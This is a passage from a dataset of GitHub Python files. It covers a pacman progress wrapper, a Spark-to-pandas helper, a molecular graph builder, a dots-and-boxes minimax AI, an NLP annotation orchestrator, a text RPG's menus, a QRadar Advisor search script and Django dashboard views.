target, percent, n, i):\n \"\"\" Shows install progress \"\"\"\n if target:\n msg = _(\"Installing {0} ({1}/{2})\").format(target, i, n)\n self.queue_event('info', msg)\n\n percent = i / n\n self.queue_event('percent', percent)\n else:\n # msg = _(\"Checking and loading packages... ({0} targets)\").format(n)\n # self.queue_event('info', msg)\n\n percent /= 100\n self.queue_event('percent', percent)\n\n def cb_dl(self, filename, tx, total):\n \"\"\" Shows downloading progress \"\"\"\n # Check if a new file is coming\n if filename != self.last_dl_filename or self.last_dl_total_size != total:\n self.last_dl_filename = filename\n self.last_dl_total_size = total\n self.last_dl_progress = 0\n\n # If pacman is just updating databases total_download_size will be zero\n if self.total_download_size == 0:\n ext = \".db\"\n if filename.endswith(ext):\n filename = filename[:-len(ext)]\n text = _(\"Updating {0} database\").format(filename)\n else:\n ext = \".pkg.tar.xz\"\n if filename.endswith(ext):\n filename = filename[:-len(ext)]\n self.downloaded_packages += 1\n i = self.downloaded_packages\n n = self.total_packages_to_download\n # text = _(\"Downloading {0}... ({1}/{2})\").format(filename, i, n)\n text = _(\"Downloading {0}...\").format(filename)\n\n self.queue_event('info', text)\n self.queue_event('percent', str(0))\n else:\n # Compute a progress indicator\n if self.last_dl_total_size > 0:\n progress = tx / self.last_dl_total_size\n else:\n # If total is unknown, use log(kBytes)²/2\n progress = (math.log(1 + tx / 1024) ** 2 / 2) / 100\n\n # Update progress only if it has grown\n if progress > self.last_dl_progress:\n # logging.debug(\"filename [%s], tx [%d], total [%d]\", filename, tx, total)\n self.last_dl_progress = progress\n self.queue_event('percent', progress)\n\n def is_package_installed(self, package_name):\n db = self.handle.get_localdb()\n pkgs = db.search(*[package_name])\n names = []\n for pkg in pkgs:\n names.append(pkg.name)\n if package_name in names:\n return True\n else:\n return False\n\n\n''' Test case '''\nif __name__ == \"__main__\":\n import gettext\n\n _ = gettext.gettext\n\n formatter = logging.Formatter(\n '[%(asctime)s] [%(module)s] %(levelname)s: %(message)s',\n \"%Y-%m-%d %H:%M:%S\")\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n stream_handler = logging.StreamHandler()\n stream_handler.setLevel(logging.DEBUG)\n stream_handler.setFormatter(formatter)\n logger.addHandler(stream_handler)\n\n try:\n pacman = Pac(\"/etc/pacman.conf\")\n except Exception as err:\n print(\"Can't initialize pyalpm: \", err)\n sys.exit(1)\n\n try:\n pacman.do_refresh()\n except pyalpm.error as err:\n print(\"Can't update databases: \", err)\n sys.exit(1)\n\n pacman_options = {\"downloadonly\": True}\n # pacman.do_install(pkgs=[\"base\"], conflicts=[], options=pacman_options)\n pacman.release()\n","repo_name":"Antergos/welcome","sub_path":"src/welcomed/pacman/pac.py","file_name":"pac.py","file_ext":"py","file_size_in_byte":23595,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"82"} +{"seq_id":"72106317387","text":"from __future__ import annotations\n\nimport logging\nfrom typing import TYPE_CHECKING\n\nimport pandas\n\nif TYPE_CHECKING:\n from pyspark.sql import DataFrame as SparkDataFrame\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef fix_pyspark_df(df: SparkDataFrame) -> SparkDataFrame:\n \"\"\"\n Fix Spark DataFrame column types before converting it to Pandas DataFrame.\n\n Using ``df.toPandas()`` on Spark 3.x with Pandas 2.x raises the following exception:\n\n .. code::\n\n TypeError: Casting to unit-less dtype 'datetime64' is not supported. Pass e.g. 'datetime64[ns]' instead.\n\n This method converts dates and timestamps to strings, to convert them back to original type later.\n\n TODO: remove after https://issues.apache.org/jira/browse/SPARK-43194\n \"\"\"\n from pyspark.sql.functions import date_format\n from pyspark.sql.types import DateType, TimestampType\n\n date_types = (DateType,)\n try:\n from pyspark.sql.types import TimestampNTZType\n\n datetime_types = (TimestampType, TimestampNTZType)\n except (ImportError, AttributeError):\n datetime_types = (TimestampType,)\n\n for field in df.schema:\n column = field.name\n column_name = column.lower()\n\n if \"datetime\" in column_name or isinstance(field.dataType, datetime_types):\n df = df.withColumn(column, df[column].cast(\"string\"))\n elif \"date\" in column_name or isinstance(field.dataType, date_types):\n df = df.withColumn(column, date_format(df[column], \"yyyy-MM-dd\"))\n\n return df\n\n\ndef parse_datetime(value: pandas.Series) -> pandas.Series:\n \"\"\"\n Try to convert datetime from Spark format to Pandas.\n\n Different Spark versions may use different formats (e.g. with of without ``Z`` suffix for UTC timezone),\n different databases may use produce timestamps with different accuracy.\n \"\"\"\n try:\n return pandas.to_datetime(value, format=\"ISO8601\")\n except ValueError:\n logger.exception(\"Unable to parse datetime\")\n\n try:\n return pandas.to_datetime(value, format=\"%Y-%m-%d %H:%M:%S.%f\")\n except ValueError:\n logger.exception(\"Unable to parse datetime\")\n\n return pandas.to_datetime(value, format=\"%Y-%m-%d %H:%M:%S\", exact=False)\n\n\ndef parse_date(\n value: pandas.Series,\n) -> pandas.Series:\n \"\"\"Try to convert date from Spark format to Pandas.\"\"\"\n return pandas.to_datetime(value, format=\"%Y-%m-%d\", exact=False)\n\n\ndef fix_pandas_df(\n df: pandas.DataFrame,\n) -> pandas.DataFrame:\n \"\"\"Convert date and datetime columns from strings back to original dtypes.\"\"\"\n for column in df.columns:\n column_name = column.lower()\n\n if \"datetime\" in column_name:\n df[column] = parse_datetime(df[column])\n elif \"date\" in column_name:\n df[column] = parse_date(df[column]).dt.date\n\n return df\n\n\ndef to_pandas(df: SparkDataFrame | pandas.DataFrame) -> pandas.DataFrame:\n \"\"\"\n Convert Spark DataFrame to Pandas DataFrame.\n\n Like ``df.toPandas()``, but with extra steps.\n \"\"\"\n if isinstance(df, pandas.DataFrame):\n return fix_pandas_df(df)\n\n fixed_spark_df = fix_pyspark_df(df)\n pandas_df = fixed_spark_df.toPandas()\n return fix_pandas_df(pandas_df)\n","repo_name":"MobileTeleSystems/onetl","sub_path":"tests/util/to_pandas.py","file_name":"to_pandas.py","file_ext":"py","file_size_in_byte":3222,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"82"} +{"seq_id":"5861713857","text":"\"\"\"Helper code to create molecular graph\"\"\"\n\nimport warnings\nfrom collections import OrderedDict\n\nimport numpy as np\nimport torch\nfrom rdkit import Chem, RDLogger, rdBase\nfrom rdkit.Chem import rdMolDescriptors as rdDesc\n\nlg = RDLogger.logger()\nlg.setLevel(RDLogger.CRITICAL)\nrdBase.DisableLog(\"rdApp.error\")\nwarnings.filterwarnings(\"ignore\")\n\nDEVICE = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\n\ndef one_of_k_encoding(feature, allowable_set):\n \"\"\"Function to get one hot encoding\"\"\"\n\n if feature not in allowable_set:\n raise Exception(f\"input {feature} not in allowable set{allowable_set}\")\n return list(map(lambda s: feature == s, allowable_set))\n\n\ndef one_of_k_encoding_unk(feature, allowable_set):\n \"\"\"Maps inputs not in the allowable set to the last element.\"\"\"\n\n if feature not in allowable_set:\n feature = allowable_set[-1]\n\n return list(map(lambda s: feature == s, allowable_set))\n\n\ndef bond_features(bond, use_chirality=True, bond_length=None):\n \"\"\"Bond level features from rdkit bond object\"\"\"\n\n bont_type = bond.GetBondType()\n bond_feats = [\n bont_type == Chem.rdchem.BondType.SINGLE,\n bont_type == Chem.rdchem.BondType.DOUBLE,\n bont_type == Chem.rdchem.BondType.TRIPLE,\n bont_type == Chem.rdchem.BondType.AROMATIC,\n bond.GetIsConjugated(),\n bond.IsInRing(),\n ]\n if bond_length is not None:\n bond_feats = bond_feats + [bond_length]\n if use_chirality:\n bond_feats = bond_feats + one_of_k_encoding_unk(\n str(bond.GetStereo()), [\"STEREONONE\", \"STEREOANY\", \"STEREOZ\", \"STEREOE\"]\n )\n return np.array(bond_feats)\n\n\ndef atom_features(atom, stereo, features, bool_id_feat=False, explicit_h=False):\n \"\"\"Atom level features from rdkit's atom object\"\"\"\n if bool_id_feat:\n return np.array([])\n\n results = (\n one_of_k_encoding_unk(\n atom.GetSymbol(), [\"C\", \"N\", \"O\", \"S\", \"F\", \"P\", \"Cl\", \"Br\", \"I\", \"Si\"]\n )\n + one_of_k_encoding(atom.GetDegree(), [0, 1, 2, 3, 4])\n + one_of_k_encoding_unk(atom.GetImplicitValence(), [0, 1])\n + one_of_k_encoding_unk(atom.GetNumRadicalElectrons(), [0, 1])\n + one_of_k_encoding_unk(atom.GetFormalCharge(), [-1, 0, 1])\n + one_of_k_encoding_unk(\n atom.GetHybridization(),\n [\n Chem.rdchem.HybridizationType.SP,\n Chem.rdchem.HybridizationType.SP2,\n Chem.rdchem.HybridizationType.SP3,\n Chem.rdchem.HybridizationType.SP3D,\n ],\n )\n + [int(i) for i in list(f\"{features:06b}\")]\n )\n\n if not explicit_h:\n results = results + one_of_k_encoding_unk(atom.GetTotalNumHs(), [0, 1, 2, 3, 4])\n\n try:\n results = (\n results\n + one_of_k_encoding_unk(stereo, [\"R\", \"S\"])\n + [atom.HasProp(\"_ChiralityPossible\")]\n )\n except Exception:\n results = results + [False, False] + [atom.HasProp(\"_ChiralityPossible\")]\n\n return np.array(results)\n\n\ndef construct_molecular_graph(molecule):\n\n \"\"\"Constructs molecular graph from rdkit's molecule object\"\"\"\n\n edges = OrderedDict({})\n nodes = OrderedDict({})\n\n molecule = Chem.MolFromSmiles(molecule)\n stereo = Chem.FindMolChiralCenters(molecule)\n features = rdDesc.GetFeatureInvariants(molecule)\n chiral_centers = [0] * molecule.GetNumAtoms()\n for i in stereo:\n chiral_centers[i[0]] = i[1]\n for i in range(0, molecule.GetNumAtoms()):\n atom_i = molecule.GetAtomWithIdx(i)\n nodes[i] = torch.FloatTensor(\n atom_features(atom_i, chiral_centers[i], features[i]).astype(np.float64)\n ).to(DEVICE)\n for j in range(0, molecule.GetNumAtoms()):\n e_ij = molecule.GetBondBetweenAtoms(i, j)\n\n if e_ij is not None:\n e_ij = map(\n lambda feature: 1 if feature is True else 0,\n bond_features(e_ij).tolist(),\n ) # ADDED edge feat\n e_ij = torch.FloatTensor(list(e_ij)).to(DEVICE)\n # atom_j = molecule.GetAtomWithIdx(j)\n if i not in edges:\n edges[i] = []\n edges[i].append((e_ij, j))\n\n return edges, nodes\n","repo_name":"HarshaSatyavardhan/cigin-d4","sub_path":"cigin_app/molecular_graph.py","file_name":"molecular_graph.py","file_ext":"py","file_size_in_byte":4263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72711974669","text":"########################################################################################################################\n# WELCOME TO THE DOTS AND SQUARES PLAYING ARTIFICIAL INTELLIGENCE\n#\n# THE RULES:\n# - 2 player game.\n# - Game is initialized in a x by x grid.\n# - The goal is to capture as many squares on the grid as possible.\n# - Player -1 (human) starts by marking one border.\n# - The player with the most captured squares wins.\n# - You capture a square when you mark the last border of the square.\n# - When you capture a square, you get to go again. Other player has to wait.\n#\n########################################################################################################################\nimport time\nimport math\nimport random\n\n\nclass Game:\n def __init__(self, rows, cols):\n self.rows = rows\n self.cols = cols\n self.board = [0] * ((self.rows * 2 + 1) * self.cols + self.rows)\n self.gameEnded = False\n self.currentPlayer = -1\n self.positions = [i for i, n in enumerate(self.board)]\n self.players = {\n 1: 0,\n -1: 0\n }\n\n # Define the excluded cells and directions.\n self.exclude_top = None\n self.exclude_bottom = None\n self.exclude_left = None\n self.exclude_right = None\n self.border_directions = None\n\n self.get_excluded_positions()\n self.define_border_directions()\n\n def initialize_game(self):\n self.board = [0] * ((self.rows * 2 + 1) * self.cols + self.rows)\n self.currentPlayer = 1\n self.positions = [i for i, n in enumerate(self.board)]\n self.gameEnded = False\n\n def changePlayer(self):\n self.currentPlayer *= -1\n\n def get_excluded_positions(self):\n self.exclude_top = self.positions[0:self.cols]\n self.exclude_bottom = self.positions[-self.cols:]\n self.exclude_left = [i for i in range(self.cols, len(self.board), self.cols * 2 + 1)]\n self.exclude_right = [i for i in range(self.cols * 2, len(self.board), self.cols * 2 + 1)]\n\n def define_border_directions(self):\n self.border_directions = [0] * ((self.rows * 2 + 1) * self.cols + self.rows)\n for i in range(0, len(self.board), self.cols * 2 + 1):\n self.border_directions[i:i + self.cols] = [1] * self.cols\n\n def check_horizontal_tiles(self, border):\n if border in self.exclude_left:\n right = [border, border - self.cols, border + 1, border + 1 + self.cols]\n left = None\n elif border in self.exclude_right:\n left = [border, border + self.cols, border - 1, border - 1 - self.cols]\n right = None\n else:\n right = [border, border - self.cols, border + 1, border + 1 + self.cols]\n left = [border, border + self.cols, border - 1, border - 1 - self.cols]\n\n return left, right\n\n def check_vertical_tiles(self, border):\n \"\"\"\n If the input border is a horizontal border, the tiles to the top and bottom need to be checked.\n If the border is at the top or bottom of the playing field, either the top or bottom has to be exluded.\n :param border: The index of the border played\n :return: A list with the indices of the surrounding tiles\n \"\"\"\n if border in self.exclude_top:\n top = None\n bottom = [border, border + self.cols, border + self.cols + 1, border + self.cols * 2 + 1]\n elif border in self.exclude_bottom:\n top = [border, border - self.cols, border - self.cols - 1, border - self.cols * 2 - 1]\n bottom = None\n else:\n top = [border, border - self.cols, border - self.cols - 1, border - self.cols * 2 - 1]\n bottom = [border, border + self.cols, border + self.cols + 1, border + self.cols * 2 + 1]\n return top, bottom\n\n def getPossibleActions(self):\n return [i for i, n in enumerate(self.board) if n == 0]\n\n def print_board(self):\n \"\"\"\n Print the current boards state. A 1 indicates player 1, a 0 indicated player 2.\n :return:\n \"\"\"\n idx = 0\n for i in range(self.rows * 2 + 1):\n\n # row number is even:\n if i % 2 == 0:\n out = ''\n for j in range(self.cols):\n if self.board[idx] == 0:\n out += '-----'\n elif self.board[idx] == 1:\n out += 'AAAAA'\n elif self.board[idx] == -1:\n out += 'HHHHH'\n idx += 1\n print(out)\n\n # row number is uneven\n else:\n out = ''\n for j in range(self.cols + 1):\n\n if self.board[idx] == 0:\n out += '| '\n elif self.board[idx] == 1:\n out += 'A '\n elif self.board[idx] == -1:\n out += 'H '\n idx += 1\n print(out)\n\n # Determines if the made move is a legal move\n def is_valid(self, action, possibleActions):\n print(action, possibleActions)\n if action in possibleActions:\n return True\n else:\n return False\n\n # Checks if the game has ended and returns the winner in each case\n def is_end(self):\n if len(self.getPossibleActions()) == 0:\n print('Current endgame state: ', self.players)\n return 1 if self.players[1] > self.players[-1] else -1 if self.players[-1] > self.players[1] else 0\n else:\n return None\n\n def evaluateScores(self):\n \"\"\"\n Get the current value of the game state. This is the number of squares captured. A negative number means that\n minimizing player is in favor, and vice versa.\n :return: the net squares captured, either positive or negative\n \"\"\"\n # Square the score difference, to promote more square captures over fewer (as it could also mean tie)\n score = self.players[1] - self.players[-1]\n if score < 0:\n score = score ** 2 * -1\n else:\n score = score ** 2\n\n # if score is not 0:\n # print(f'player 1: {self.players[1]} and player -1: {self.players[-1]}')\n # print('board value: ', score)\n return score\n\n def play(self, action):\n\n # Update the board\n self.board[action] = self.currentPlayer\n\n # Check the direction of the border\n direction = self.border_directions[action]\n\n # Horizontal borders\n if direction == 1:\n top, bottom = self.check_vertical_tiles(action)\n\n available_top_borders = 4\n available_bottom_borders = 4\n\n if top is not None:\n for border in top:\n if self.board[border] != 0:\n available_top_borders -= 1\n if bottom is not None:\n for border in bottom:\n if self.board[border] != 0:\n available_bottom_borders -= 1\n\n if available_bottom_borders == 0:\n self.players[self.currentPlayer] += 1\n if available_top_borders == 0:\n self.players[self.currentPlayer] += 1\n\n if available_top_borders == 0 or available_bottom_borders == 0:\n return\n\n self.changePlayer()\n\n # Vertical borders\n elif direction == 0:\n left, right = self.check_horizontal_tiles(action)\n\n available_left_borders = 4\n available_right_borders = 4\n if left is not None:\n for border in left:\n if self.board[border] != 0:\n available_left_borders -= 1\n if right is not None:\n for border in right:\n if self.board[border] != 0:\n available_right_borders -= 1\n if available_left_borders == 0:\n self.players[self.currentPlayer] += 1\n if available_right_borders == 0:\n self.players[self.currentPlayer] += 1\n\n if available_right_borders == 0 or available_left_borders == 0:\n return\n\n self.changePlayer()\n\n def minimax(self, depth, alpha, beta, player):\n if depth == 0 or len(self.getPossibleActions()) == 0:\n # TODO: Maybe need to use a - sign?\n return self.evaluateScores()\n\n moves = self.getPossibleActions()\n\n # AI is the maximizing (player 1)\n if player == 1:\n highestValue = -999\n for move in moves:\n\n # Save current game state\n currentScore = self.players.copy()\n currentPlayer = self.currentPlayer\n currentBoard = self.board.copy()\n\n # Play move, and move down the tree and retrieve the\n self.play(move)\n if self.currentPlayer == 1:\n value = self.minimax(depth - 1, alpha, beta, 1)\n else:\n value = self.minimax(depth - 1, alpha, beta, -1)\n\n highestValue = max(highestValue, value)\n alpha = max(alpha, value)\n\n # Undo the move\n self.players = currentScore\n self.currentPlayer = currentPlayer\n self.board = currentBoard\n\n if alpha >= beta:\n break\n\n return highestValue\n\n # Human is minimizing (player -1)\n else:\n lowestValue = 999\n for move in moves:\n\n # Save current game state\n currentScore = self.players.copy()\n currentPlayer = self.currentPlayer\n currentBoard = self.board.copy()\n\n # Play the move, and move down the tree\n self.play(move)\n if self.currentPlayer == 1:\n value = self.minimax(depth-1, alpha, beta, 1)\n else:\n value = self.minimax(depth-1, alpha, beta, -1)\n\n lowestValue = min(lowestValue, value)\n beta = min(beta, value)\n\n # Undo the move\n self.players = currentScore\n self.currentPlayer = currentPlayer\n self.board = currentBoard\n\n if alpha >= beta:\n break\n\n return lowestValue\n\n # TODO: check why the player is passed in this function. Maybe this root can be skipped\n def minimaxRoot(self, depth, player):\n moves = self.getPossibleActions()\n bestMove = -999\n bestMovesFound = None\n\n for move in moves:\n\n # Save current game state\n currentScore = self.players.copy()\n currentPlayer = self.currentPlayer\n currentBoard = self.board.copy()\n\n # Play the move\n self.play(move)\n if self.currentPlayer == -1:\n value = self.minimax(depth - 1, -999, 999, -1)\n else:\n value = self.minimax(depth - 1, -999, 999, 1)\n\n # Undo the move, and restore to saved game state\n self.players = currentScore\n self.currentPlayer = currentPlayer\n self.board = currentBoard\n\n if value >= bestMove:\n bestMove = value\n bestMovesFound = move\n # else:\n # bestMovesFound.append(move)\n\n return bestMovesFound, bestMove\n\n\ndef main():\n g = Game(3, 3)\n\n while True:\n print(f'Current score: {g.players}')\n g.print_board()\n g.result = g.is_end()\n\n if g.result is not None:\n if g.result == -1:\n print('Human wins!')\n elif g.result == 1:\n print('AI wins!')\n elif g.result == 0:\n print(\"It's a tie!\")\n\n g.initialize_game()\n return\n\n if g.currentPlayer == -1:\n\n while True:\n action = int(input('Insert the X coordinate: '))\n\n if g.is_valid(action, g.getPossibleActions()):\n g.play(action)\n break\n else:\n print('The move is not valid! Try again.')\n\n else:\n # Run the minimax algorithm to look ahead, and return a list of moves with the best value\n print('Computer is thinking...')\n move, value = g.minimaxRoot(6, 1)\n\n\n # Pick a random choice of the available moves and play\n # move = random.choice(moves)\n g.play(move)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bobthebuidlr/dots-and-boxes","sub_path":"minimax.py","file_name":"minimax.py","file_ext":"py","file_size_in_byte":12771,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"25342016059","text":"import dataclasses\nfrom abc import ABC, abstractmethod\nfrom typing import ClassVar, Dict\n\nimport pandas as pd\nimport nlpaf.annotator.registered_pipes as registered\nfrom nlpaf import logger, utils\n\n\nclass PipeOrchestrator(ABC):\n _ANNOTATION_TYPE: ClassVar = [\"text\", \"url\", \"image\"]\n _ANNOTATION_LEVEL: ClassVar = [\"singleton\", \"collection\"]\n\n def __init__(\n self, registered_pipes: Dict, orchestrator_config_id: str = None\n ):\n self.name = (\n self.__class__.__name__\n if orchestrator_config_id is None\n else orchestrator_config_id\n )\n self.pipe_config = registered_pipes[self.name]\n\n self.annotation_level = self.pipe_config[\"level\"]\n self.annotation_type = self.pipe_config[\"data_type\"]\n self.annotated_column = self.pipe_config[\"annotated_column\"]\n self.pipe_id_or_func = (\n self.pipe_config[\"pipe_id_or_func\"]\n if \"pipe_id_or_func\" in self.pipe_config.keys()\n else None\n )\n self.pipe_path = (\n self.pipe_config[\"pipe_path\"]\n if \"pipe_path\" in self.pipe_config.keys()\n else None\n )\n self.input_id = self.pipe_config[\"input_id\"]\n\n self.load_pipe_component()\n\n is_valid, error_dic = self.validate()\n if is_valid:\n logger.info(\"orchestrator was initialized successfully\")\n else:\n logger.error(\n f\"orchestrator was initialized with the following errors {error_dic}\"\n )\n\n def load_pipe_component(self):\n module = None\n if self.pipe_path is not None and len(self.pipe_path) > 0:\n logger.debug(\"loading {}\".format(self.pipe_path))\n module = utils.load_module(self.pipe_path)\n return module\n\n def get_pipe_func(self):\n module = self.load_pipe_component()\n pipe_func = None\n if module is not None and self.pipe_id_or_func is not None:\n pipe_func = getattr(module, self.pipe_id_or_func)\n return pipe_func\n\n def validate(self):\n error_dict = {}\n if self.annotation_type not in PipeOrchestrator._ANNOTATION_TYPE:\n error_dict[\n \"annotation_type\"\n ] = \"The annotation type should have one of the following values: {} but has the value {}\".format(\n str(PipeOrchestrator._ANNOTATION_TYPE), self.annotation_type\n )\n logger.error(error_dict[\"annotation_type\"])\n\n if self.annotation_level not in PipeOrchestrator._ANNOTATION_LEVEL:\n error_dict[\"annotation_level\"] = (\n \"The annotation level should have one of the following values: {} \"\n \"but has the value {}\".format(\n str(PipeOrchestrator._ANNOTATION_LEVEL),\n self.annotation_level,\n )\n )\n logger.error(error_dict[\"annotation_level\"])\n\n is_valid = not bool(error_dict)\n return is_valid, error_dict\n\n @abstractmethod\n def save_annotations(self, annotated_text: pd.DataFrame):\n pass\n","repo_name":"roxanneelbaff/nlp-annotation-framework","sub_path":"src/nlpaf/annotator/orchestrator.py","file_name":"orchestrator.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"70524347787","text":"from characters import *\nfrom menu_classes import *\nimport os\n\nclass GameScreen():\n def __init__(self, menu_to_display):\n self.menu_to_display = menu_to_display\n\n def change_menu_to_display(self, selectedmenu):\n self.menu_to_display = selectedmenu\n\ngamescreen = GameScreen('mainmenu')\n\ndef newgamemenu():\n newgamemenu = Menu([\n MenuItem('1','Start New Game', enter_name),\n MenuItem('2', 'Back to Main Menu', gamescreen.change_menu_to_display, 'mainmenu')\n ])\n newgamemenu.main()\n\ndef loadmenu():\n loadmenu = Menu([\n MenuItem('1','Choose from Saved Games', gamescreen.change_menu_to_display, 'mainmenu'),\n MenuItem('2', 'Back to Main Menu', gamescreen.change_menu_to_display, 'mainmenu'),\n ])\n loadmenu.main()\n\ndef quitmenu():\n quitmenu = Menu([\n MenuItem('1','Quit Game', exit),\n MenuItem('2', 'Back to Main Menu', gamescreen.change_menu_to_display, 'mainmenu'),\n ])\n quitmenu.main()\n\ndef namemenu():\n namemenu = Menu([\n MenuItem('1', 'Continue to Hero Stats', rollstats),\n MenuItem('2','Reenter name', enter_name),\n MenuItem('3', 'Save Name', savename),\n MenuItem('4', 'Quit', gamescreen.change_menu_to_display, 'mainmenu')\n ])\n namemenu.main()\n\ndef enter_name():\n hero.enter_name()\n gamescreen.change_menu_to_display('namemenu')\n\ndef savename():\n hero.export_charspecs()\n print('The chosen name was saved.')\n\ndef statsmenu():\n statsmenu = Menu([\n MenuItem('1','Roll for new stats', rollstats),\n MenuItem('2', 'Continue', gamescreen.change_menu_to_display, 'potions'),\n MenuItem('3', 'Save Stats', savestats),\n MenuItem('4', 'Quit', gamescreen.change_menu_to_display, 'mainmenu')\n ])\n statsmenu.main()\n\ndef rollstats():\n hero.roll_stats()\n gamescreen.change_menu_to_display('statsmenu')\n\ndef savestats():\n hero.export_charspecs()\n print('The Stats were saved.')\n\ndef potions():\n print('\\nSelect one potion to take with youself: \\n\\n')\n potions = Menu([\n MenuItem('1','Potion of Health', reconsider_potion, 'Potion of Health'),\n MenuItem('2', 'Potion of Dexterity', reconsider_potion, 'Potion of Dexterity'),\n MenuItem('3', 'Potion of Luck', reconsider_potion, 'Potion of Luck'),\n ])\n potions.main()\n\ndef potionmenu():\n potionmenu = Menu([\n MenuItem('1','Select another potion', gamescreen.change_menu_to_display, 'potions'),\n MenuItem('2', 'Continue', begin_game_screen),\n MenuItem('3', 'Quit', gamescreen.change_menu_to_display, 'mainmenu')\n ])\n potionmenu.main()\n\ndef reconsider_potion(potion):\n hero.add_potion(potion)\n gamescreen.change_menu_to_display('potionmenu')\n\ndef begingamemenu():\n begingamemenu = Menu([\n MenuItem('1','Begin Game', round_one____fight),\n MenuItem('2', 'Save Hero', savehero),\n MenuItem('3', 'Quit', gamescreen.change_menu_to_display, 'mainmenu')\n ])\n begingamemenu.main()\n\ndef begin_game_screen():\n hero.display_character()\n gamescreen.change_menu_to_display('begingamemenu')\n\ndef savehero():\n hero.export_charspecs()\n print('Your hero\\'s specifications were saved.')\n begin_game_screen()\n\ndef round_one____fight():\n print(\"Test your Sword in a test fight\")\n hero.show_fight_stats()\n print('\\n****')\n monster.show_enemy_fight_stats()\n gamescreen.change_menu_to_display('fightmenu')\n\ndef fightmenu():\n fightmenu = Menu([\n MenuItem('1','Strike', fight_hit),\n MenuItem('2', 'Retreat', gamescreen.change_menu_to_display, 'mainmenu'),\n MenuItem('3', 'Quit', gamescreen.change_menu_to_display, 'mainmenu')\n ])\n fightmenu.main()\n\ndef strikemenu():\n strikemenu = Menu([\n MenuItem('1','Continue', next_strike),\n MenuItem('2', 'Try your Luck', roll_for_luck),\n MenuItem('3', 'Retreat', gamescreen.change_menu_to_display, 'mainmenu'),\n MenuItem('4', 'Quit', gamescreen.change_menu_to_display, 'mainmenu')\n ])\n strikemenu.main()\n\ndef fight_hit():\n testfight.decide_who_strikes()\n strikemenu()\n\ndef next_strike():\n testfight.loser_for_turn.suffer_damage(2)\n round_one____fight()\n\ndef roll_for_luck():\n testfight.player_tries_luck()\n round_one____fight()\n\nmainmenu = Menu([\n MenuItem('1','New game', gamescreen.change_menu_to_display, 'newgamemenu'),\n MenuItem('2', 'Load Game', gamescreen.change_menu_to_display, 'loadmenu'),\n MenuItem('3', 'Exit', gamescreen.change_menu_to_display, 'quitmenu'),\n MenuItem('000', 'Exit without Save', exit)\n ])\n\nfunction_dict = {\n 'mainmenu': mainmenu.main,\n 'newgamemenu': newgamemenu,\n 'loadmenu': loadmenu,\n 'quitmenu': quitmenu,\n 'namemenu': namemenu,\n 'statsmenu': statsmenu,\n 'fightmenu': fightmenu,\n 'strikemenu': strikemenu,\n 'begingamemenu': begingamemenu,\n 'potions': potions,\n 'potionmenu': potionmenu,\n }\n\nwhile True:\n function_dict[gamescreen.menu_to_display]()\n","repo_name":"green-fox-academy/csmaty","sub_path":"week-6/RPGgame/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6886819140","text":"from ToolCommand import ToolCommand\nimport sys\nfrom fn_qradar_advisor.lib.qradar_advisor_client import QRadarAdvisorClient\nimport logging\nlogging.basicConfig(filename=\"testing.log\", level=logging.DEBUG)\n\nHELP_STR = \"\"\"\n\tUsage:\\n\n\t\\t full_search.py -i app_id -s search_value_or_search_id\n\t\"\"\"\narg_str = \"hi:s:\"\narg_list = [\"help\", \"app_id\", \"search\"]\n\n\nclass SampleCmd(ToolCommand):\n\n def do_command(self):\n client = QRadarAdvisorClient(qradar_host=self.system_host,\n qradar_token=self.system_token,\n advisor_app_id=self.opts_dict[\"app_id\"],\n cafile=False,\n log=logging)\n search_value = self.opts_dict[\"search\"]\n try:\n search_id = int(search_value)\n #\n # It is a serach id.\n # For example: -i 1102 -s 2\n #\n resp = client.full_search_by_id(search_id)\n except ValueError as e:\n #\n # It is not a search_id. Try the full search from start\n # For example: -i 1102 -s user:jsmith\n #\n resp = client.full_search(self.opts_dict[\"search\"])\n\n print(str(resp))\n\n\n\n\nif __name__ == \"__main__\":\n\tsample_cmd = SampleCmd(HELP_STR)\n\tsample_cmd.run_command(sys.argv[1:], arg_str, arg_list)","repo_name":"ibmresilient/resilient-community-apps","sub_path":"fn_qradar_advisor/tools/full_search.py","file_name":"full_search.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"82"} +{"seq_id":"70979960908","text":"import httpx\nimport json\nimport requests\nfrom django.shortcuts import render, redirect\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.utils.decorators import method_decorator\nfrom django import forms\nfrom django.urls import reverse\n\n@csrf_exempt\ndef dashboardView(request, **kwargs):\n\n response = requests.get('http://127.0.0.1:8000/api/ping')\n response = response.text\n\n return render(request, 'home.html', {'response': response})\n\n@csrf_exempt\ndef flowsView(request, **kwargs):\n response = requests.get('http://127.0.0.1:8000/api/flow')\n if response.status_code != 200 or response.text == '':\n processed = {}\n else:\n processed = response.json()\n\n return render(request, 'flows/flows.html', {'flows': processed})\n\n\nclass CreateFlowForm(forms.Form):\n\n QUALITY_CHOICES = [\n ('a', 'Audio'), \n ('720', '720p'), \n ('1080', '1080p'), \n ('1440', '1440p'), \n ('2160', '4k'), \n ('max', 'Best')\n ]\n\n TYPE_CHOICES = [\n ('p', 'Playlist'), \n ('c', 'Channel')\n ]\n\n name = forms.CharField(max_length=100)\n url = forms.URLField()\n type = forms.ChoiceField(choices=TYPE_CHOICES)\n quality = forms.ChoiceField(choices=QUALITY_CHOICES)\n outlet = forms.ChoiceField(choices=[])\n interval = forms.IntegerField()\n\n @csrf_exempt\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n # make API request to get outlets data\n response = requests.get('http://127.0.0.1:8000/api/outlet')\n try:\n outlets = [(outlet['id'], outlet['name'])\n for outlet in response.json()]\n except:\n outlets = []\n\n # populate choices for outlet field\n self.fields['outlet'].choices = outlets\n 